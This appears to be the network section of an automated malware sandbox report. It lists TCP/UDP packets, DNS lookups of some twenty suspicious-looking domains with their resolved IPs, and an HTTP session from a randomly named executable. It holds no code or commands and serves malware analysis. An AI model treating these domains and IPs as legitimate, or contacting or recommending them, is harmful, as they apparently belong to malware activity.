Jan 10, 2025 23:27:31.197345972 CET	80	49832	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:31.197623968 CET	49832	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:31.648129940 CET	49832	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:32.665714979 CET	49833	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:32.784472942 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.784684896 CET	49833	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:32.795988083 CET	49833	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:32.796058893 CET	49833	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:32.914871931 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.915040016 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.915075064 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.915383101 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.915416956 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.915679932 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.915714979 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.938334942 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.938534021 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.938718081 CET	49833	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:32.946104050 CET	80	49833	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:32.946326971 CET	49833	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:34.303801060 CET	49833	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:34.729787111 CET	80	49831	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:34.729921103 CET	49831	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:35.321263075 CET	49834	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:35.439770937 CET	80	49834	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:35.439915895 CET	49834	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:35.446847916 CET	49834	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:35.565396070 CET	80	49834	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:35.585771084 CET	80	49834	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:35.585781097 CET	80	49834	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:35.586077929 CET	49834	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:35.587990999 CET	49834	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:35.591291904 CET	80	49834	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:35.591419935 CET	49834	80	192.168.11.20	3.33.130.190
Jan 10, 2025 23:27:35.706412077 CET	80	49834	3.33.130.190	192.168.11.20
Jan 10, 2025 23:27:40.601783037 CET	49835	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:40.900639057 CET	80	49835	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:40.900814056 CET	49835	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:40.911894083 CET	49835	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:41.210886002 CET	80	49835	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:41.215786934 CET	80	49835	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:41.215925932 CET	49835	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:42.427040100 CET	49835	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:42.725987911 CET	80	49835	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:43.444550991 CET	49836	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:43.747265100 CET	80	49836	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:43.747414112 CET	49836	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:43.758537054 CET	49836	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:44.061289072 CET	80	49836	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:44.072005033 CET	80	49836	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:44.072194099 CET	49836	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:45.270191908 CET	49836	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:45.572695971 CET	80	49836	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:46.287867069 CET	49837	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:46.579715014 CET	80	49837	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:46.579916954 CET	49837	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:46.591190100 CET	49837	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:46.591270924 CET	49837	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:46.883359909 CET	80	49837	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:46.883553982 CET	80	49837	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:46.883594036 CET	80	49837	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:46.883925915 CET	80	49837	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:46.889102936 CET	80	49837	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:49.115211964 CET	49838	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:49.409519911 CET	80	49838	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:49.409718037 CET	49838	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:49.416646004 CET	49838	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:49.710740089 CET	80	49838	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:49.716049910 CET	80	49838	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:49.716319084 CET	49838	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:49.716984034 CET	49838	80	192.168.11.20	38.46.13.54
Jan 10, 2025 23:27:50.011070013 CET	80	49838	38.46.13.54	192.168.11.20
Jan 10, 2025 23:27:54.723449945 CET	49839	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:54.991578102 CET	80	49839	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:54.991770029 CET	49839	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:55.002892971 CET	49839	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:55.270997047 CET	80	49839	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:55.398977995 CET	80	49839	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:55.399007082 CET	80	49839	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:55.399142027 CET	49839	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:56.517754078 CET	49839	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:57.535191059 CET	49840	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:57.802757978 CET	80	49840	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:57.802956104 CET	49840	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:57.813986063 CET	49840	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:58.080616951 CET	80	49840	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:58.194729090 CET	80	49840	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:58.194749117 CET	80	49840	46.253.5.221	192.168.11.20
Jan 10, 2025 23:27:58.194994926 CET	49840	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:27:59.860749960 CET	49840	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:00.878365040 CET	49841	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:01.140558004 CET	80	49841	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:01.140747070 CET	49841	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:01.152007103 CET	49841	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:01.152060986 CET	49841	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:01.414215088 CET	80	49841	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:01.414271116 CET	80	49841	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:01.414592028 CET	80	49841	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:01.414818048 CET	80	49841	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:01.536716938 CET	80	49841	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:01.536727905 CET	80	49841	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:01.536950111 CET	49841	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:02.657006979 CET	49841	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:03.674468040 CET	49842	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:03.937591076 CET	80	49842	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:03.937769890 CET	49842	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:03.945377111 CET	49842	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:04.207822084 CET	80	49842	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:04.321708918 CET	80	49842	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:04.321753025 CET	80	49842	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:04.322163105 CET	49842	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:04.324047089 CET	49842	80	192.168.11.20	46.253.5.221
Jan 10, 2025 23:28:04.586415052 CET	80	49842	46.253.5.221	192.168.11.20
Jan 10, 2025 23:28:14.344135046 CET	49843	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:14.564239025 CET	80	49843	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:14.564471006 CET	49843	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:14.576152086 CET	49843	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:14.796062946 CET	80	49843	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:15.056433916 CET	80	49843	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:15.056478024 CET	80	49843	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:15.056682110 CET	49843	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:16.091541052 CET	49843	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:17.109003067 CET	49844	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:17.329253912 CET	80	49844	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:17.329432011 CET	49844	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:17.340476036 CET	49844	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:17.560741901 CET	80	49844	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:17.574012995 CET	80	49844	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:17.574021101 CET	80	49844	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:17.574188948 CET	49844	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:18.856568098 CET	49844	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:19.875988007 CET	49845	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:20.101897955 CET	80	49845	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:20.102086067 CET	49845	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:20.113152027 CET	49845	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:20.113238096 CET	49845	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:20.339196920 CET	80	49845	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:20.339256048 CET	80	49845	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:20.339648962 CET	80	49845	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:20.382672071 CET	80	49845	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:20.382714987 CET	80	49845	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:20.382894993 CET	49845	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:21.621541023 CET	49845	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:22.639023066 CET	49846	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:22.864188910 CET	80	49846	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:22.864362955 CET	49846	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:22.871536016 CET	49846	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:23.096858978 CET	80	49846	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:23.105362892 CET	80	49846	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:23.115139008 CET	80	49846	146.88.233.115	192.168.11.20
Jan 10, 2025 23:28:23.115324974 CET	49846	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:23.115983009 CET	49846	80	192.168.11.20	146.88.233.115
Jan 10, 2025 23:28:23.341237068 CET	80	49846	146.88.233.115	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:20:35.374445915 CET	62278	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:20:35.733283997 CET	53	62278	1.1.1.1	192.168.11.20
Jan 10, 2025 23:20:51.222868919 CET	55703	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:20:51.855801105 CET	53	55703	1.1.1.1	192.168.11.20
Jan 10, 2025 23:21:06.125756025 CET	58633	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:21:06.772913933 CET	53	58633	1.1.1.1	192.168.11.20
Jan 10, 2025 23:21:21.075689077 CET	54524	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:21:21.198613882 CET	53	54524	1.1.1.1	192.168.11.20
Jan 10, 2025 23:21:29.261214972 CET	51226	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:21:29.428664923 CET	53	51226	1.1.1.1	192.168.11.20
Jan 10, 2025 23:21:42.930111885 CET	55256	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:21:43.297231913 CET	53	55256	1.1.1.1	192.168.11.20
Jan 10, 2025 23:21:57.723855972 CET	57331	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:21:57.910847902 CET	53	57331	1.1.1.1	192.168.11.20
Jan 10, 2025 23:22:11.174429893 CET	57160	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:22:11.618587017 CET	53	57160	1.1.1.1	192.168.11.20
Jan 10, 2025 23:22:25.717727900 CET	52011	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:22:25.888235092 CET	53	52011	1.1.1.1	192.168.11.20
Jan 10, 2025 23:22:39.964570999 CET	61100	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:22:40.204694033 CET	53	61100	1.1.1.1	192.168.11.20
Jan 10, 2025 23:22:53.961432934 CET	56229	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:22:54.656594992 CET	53	56229	1.1.1.1	192.168.11.20
Jan 10, 2025 23:23:02.709600925 CET	51680	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:23:03.350971937 CET	53	51680	1.1.1.1	192.168.11.20
Jan 10, 2025 23:23:25.437561035 CET	56880	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:23:26.108813047 CET	53	56880	1.1.1.1	192.168.11.20
Jan 10, 2025 23:23:48.199448109 CET	53583	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:23:48.803836107 CET	53	53583	1.1.1.1	192.168.11.20
Jan 10, 2025 23:24:10.896302938 CET	58420	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:24:11.791996002 CET	53	58420	1.1.1.1	192.168.11.20
Jan 10, 2025 23:24:37.876291990 CET	55140	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:24:38.047235012 CET	53	55140	1.1.1.1	192.168.11.20
Jan 10, 2025 23:24:52.404210091 CET	57926	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:24:52.536705017 CET	53	57926	1.1.1.1	192.168.11.20
Jan 10, 2025 23:25:44.814624071 CET	52495	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:25:44.981271982 CET	53	52495	1.1.1.1	192.168.11.20
Jan 10, 2025 23:25:58.483413935 CET	54057	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:25:58.720371962 CET	53	54057	1.1.1.1	192.168.11.20
Jan 10, 2025 23:26:51.283164024 CET	56576	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:26:51.406234980 CET	53	56576	1.1.1.1	192.168.11.20
Jan 10, 2025 23:28:28.122484922 CET	51380	53	192.168.11.20	1.1.1.1
Jan 10, 2025 23:28:28.327588081 CET	53	51380	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:20:35.374445915 CET	192.168.11.20	1.1.1.1	0xe96c	Standard query (0)	www.070001325.xyz	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:20:51.222868919 CET	192.168.11.20	1.1.1.1	0x109e	Standard query (0)	www.expancz.top	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:06.125756025 CET	192.168.11.20	1.1.1.1	0x2fc6	Standard query (0)	www.taxiquynhonnew.click	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:21.075689077 CET	192.168.11.20	1.1.1.1	0xe61f	Standard query (0)	www.epitomize.shop	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:29.261214972 CET	192.168.11.20	1.1.1.1	0x13ee	Standard query (0)	www.learnwithus.site	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:42.930111885 CET	192.168.11.20	1.1.1.1	0x5bd7	Standard query (0)	www.jijievo.site	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:57.723855972 CET	192.168.11.20	1.1.1.1	0x5c57	Standard query (0)	www.likesharecomment.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:11.174429893 CET	192.168.11.20	1.1.1.1	0xa8e8	Standard query (0)	www.397256.pink	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:25.717727900 CET	192.168.11.20	1.1.1.1	0x7d5f	Standard query (0)	www.windsky.click	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:39.964570999 CET	192.168.11.20	1.1.1.1	0xab92	Standard query (0)	www.smartcongress.net	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:53.961432934 CET	192.168.11.20	1.1.1.1	0x4b02	Standard query (0)	www.theressome123ppl.info	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:02.709600925 CET	192.168.11.20	1.1.1.1	0xccf2	Standard query (0)	www.mdpc7.top	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:25.437561035 CET	192.168.11.20	1.1.1.1	0x592e	Standard query (0)	www.mdpc7.top	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:48.199448109 CET	192.168.11.20	1.1.1.1	0x8e1d	Standard query (0)	www.mdpc7.top	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:10.896302938 CET	192.168.11.20	1.1.1.1	0x4726	Standard query (0)	www.mdpc7.top	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:37.876291990 CET	192.168.11.20	1.1.1.1	0x2812	Standard query (0)	www.oneeyetrousersnake.xyz	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:52.404210091 CET	192.168.11.20	1.1.1.1	0x7a10	Standard query (0)	www.zkdamdjj.shop	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:25:44.814624071 CET	192.168.11.20	1.1.1.1	0x3d47	Standard query (0)	www.nonpressure.beauty	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:25:58.483413935 CET	192.168.11.20	1.1.1.1	0xc1c1	Standard query (0)	www.cssa.auction	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:26:51.283164024 CET	192.168.11.20	1.1.1.1	0x66ac	Standard query (0)	www.epitomize.shop	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:28:28.122484922 CET	192.168.11.20	1.1.1.1	0xc007	Standard query (0)	www.acond-22-mvr.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:20:35.733283997 CET	1.1.1.1	192.168.11.20	0xe96c	No error (0)	www.070001325.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:20:51.855801105 CET	1.1.1.1	192.168.11.20	0x109e	No error (0)	www.expancz.top		107.155.56.30	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:06.772913933 CET	1.1.1.1	192.168.11.20	0x2fc6	No error (0)	www.taxiquynhonnew.click	dns.ladipage.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:21:06.772913933 CET	1.1.1.1	192.168.11.20	0x2fc6	No error (0)	dns.ladipage.com		13.228.81.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:06.772913933 CET	1.1.1.1	192.168.11.20	0x2fc6	No error (0)	dns.ladipage.com		18.139.62.226	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:21.198613882 CET	1.1.1.1	192.168.11.20	0xe61f	Name error (3)	www.epitomize.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:29.428664923 CET	1.1.1.1	192.168.11.20	0x13ee	No error (0)	www.learnwithus.site		209.74.77.107	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:43.297231913 CET	1.1.1.1	192.168.11.20	0x5bd7	No error (0)	www.jijievo.site	all.wjscdn.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:21:43.297231913 CET	1.1.1.1	192.168.11.20	0x5bd7	No error (0)	all.wjscdn.com		154.205.159.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:43.297231913 CET	1.1.1.1	192.168.11.20	0x5bd7	No error (0)	all.wjscdn.com		38.54.112.227	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:43.297231913 CET	1.1.1.1	192.168.11.20	0x5bd7	No error (0)	all.wjscdn.com		154.90.35.240	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:43.297231913 CET	1.1.1.1	192.168.11.20	0x5bd7	No error (0)	all.wjscdn.com		154.90.58.209	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:43.297231913 CET	1.1.1.1	192.168.11.20	0x5bd7	No error (0)	all.wjscdn.com		154.205.143.51	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:43.297231913 CET	1.1.1.1	192.168.11.20	0x5bd7	No error (0)	all.wjscdn.com		154.205.156.26	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:57.910847902 CET	1.1.1.1	192.168.11.20	0x5c57	No error (0)	www.likesharecomment.net	likesharecomment.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:21:57.910847902 CET	1.1.1.1	192.168.11.20	0x5c57	No error (0)	likesharecomment.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:21:57.910847902 CET	1.1.1.1	192.168.11.20	0x5c57	No error (0)	likesharecomment.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:11.618587017 CET	1.1.1.1	192.168.11.20	0xa8e8	No error (0)	www.397256.pink		38.46.13.54	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:25.888235092 CET	1.1.1.1	192.168.11.20	0x7d5f	No error (0)	www.windsky.click		46.253.5.221	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:40.204694033 CET	1.1.1.1	192.168.11.20	0xab92	No error (0)	www.smartcongress.net	smartcongress.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:22:40.204694033 CET	1.1.1.1	192.168.11.20	0xab92	No error (0)	smartcongress.net		146.88.233.115	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:22:54.656594992 CET	1.1.1.1	192.168.11.20	0x4b02	Name error (3)	www.theressome123ppl.info	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:03.350971937 CET	1.1.1.1	192.168.11.20	0xccf2	No error (0)	www.mdpc7.top	mmd.dnsmmd.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:23:03.350971937 CET	1.1.1.1	192.168.11.20	0xccf2	No error (0)	mmd.dnsmmd.com		20.2.113.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:03.350971937 CET	1.1.1.1	192.168.11.20	0xccf2	No error (0)	mmd.dnsmmd.com		20.2.36.112	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:26.108813047 CET	1.1.1.1	192.168.11.20	0x592e	No error (0)	www.mdpc7.top	mmd.dnsmmd.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:23:26.108813047 CET	1.1.1.1	192.168.11.20	0x592e	No error (0)	mmd.dnsmmd.com		20.2.36.112	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:26.108813047 CET	1.1.1.1	192.168.11.20	0x592e	No error (0)	mmd.dnsmmd.com		20.2.113.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:48.803836107 CET	1.1.1.1	192.168.11.20	0x8e1d	No error (0)	www.mdpc7.top	mmd.dnsmmd.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:23:48.803836107 CET	1.1.1.1	192.168.11.20	0x8e1d	No error (0)	mmd.dnsmmd.com		20.2.113.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:23:48.803836107 CET	1.1.1.1	192.168.11.20	0x8e1d	No error (0)	mmd.dnsmmd.com		20.2.36.112	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:11.791996002 CET	1.1.1.1	192.168.11.20	0x4726	No error (0)	www.mdpc7.top	mmd.dnsmmd.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:24:11.791996002 CET	1.1.1.1	192.168.11.20	0x4726	No error (0)	mmd.dnsmmd.com		20.2.113.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:11.791996002 CET	1.1.1.1	192.168.11.20	0x4726	No error (0)	mmd.dnsmmd.com		20.2.36.112	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:38.047235012 CET	1.1.1.1	192.168.11.20	0x2812	No error (0)	www.oneeyetrousersnake.xyz	oneeyetrousersnake.xyz		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:24:38.047235012 CET	1.1.1.1	192.168.11.20	0x2812	No error (0)	oneeyetrousersnake.xyz		63.250.43.134	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:38.047235012 CET	1.1.1.1	192.168.11.20	0x2812	No error (0)	oneeyetrousersnake.xyz		63.250.43.135	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:52.536705017 CET	1.1.1.1	192.168.11.20	0x7a10	No error (0)	www.zkdamdjj.shop		104.21.40.167	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:24:52.536705017 CET	1.1.1.1	192.168.11.20	0x7a10	No error (0)	www.zkdamdjj.shop		172.67.187.114	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:25:44.981271982 CET	1.1.1.1	192.168.11.20	0x3d47	No error (0)	www.nonpressure.beauty		104.21.4.93	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:25:44.981271982 CET	1.1.1.1	192.168.11.20	0x3d47	No error (0)	www.nonpressure.beauty		172.67.131.229	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:25:58.720371962 CET	1.1.1.1	192.168.11.20	0xc1c1	No error (0)	www.cssa.auction	cssa.auction		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 23:25:58.720371962 CET	1.1.1.1	192.168.11.20	0xc1c1	No error (0)	cssa.auction		107.167.84.42	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:26:51.406234980 CET	1.1.1.1	192.168.11.20	0x66ac	Name error (3)	www.epitomize.shop	none	none	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:28:28.327588081 CET	1.1.1.1	192.168.11.20	0xc007	No error (0)	www.acond-22-mvr.click		199.59.243.228	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.070001325.xyz

www.expancz.top

www.taxiquynhonnew.click

www.learnwithus.site

www.jijievo.site

www.likesharecomment.net

www.397256.pink

www.windsky.click

www.smartcongress.net

www.oneeyetrousersnake.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49763	161.97.142.144	80	560	C:\Program Files (x86)\yfvpcNxisdygHeKRtHfLQVQRkkYncGBvZCvXaiphGOinxaQcoQd\QgsPQaUVZZ.exe

Timestamp	Bytes transferred	Direction	Data
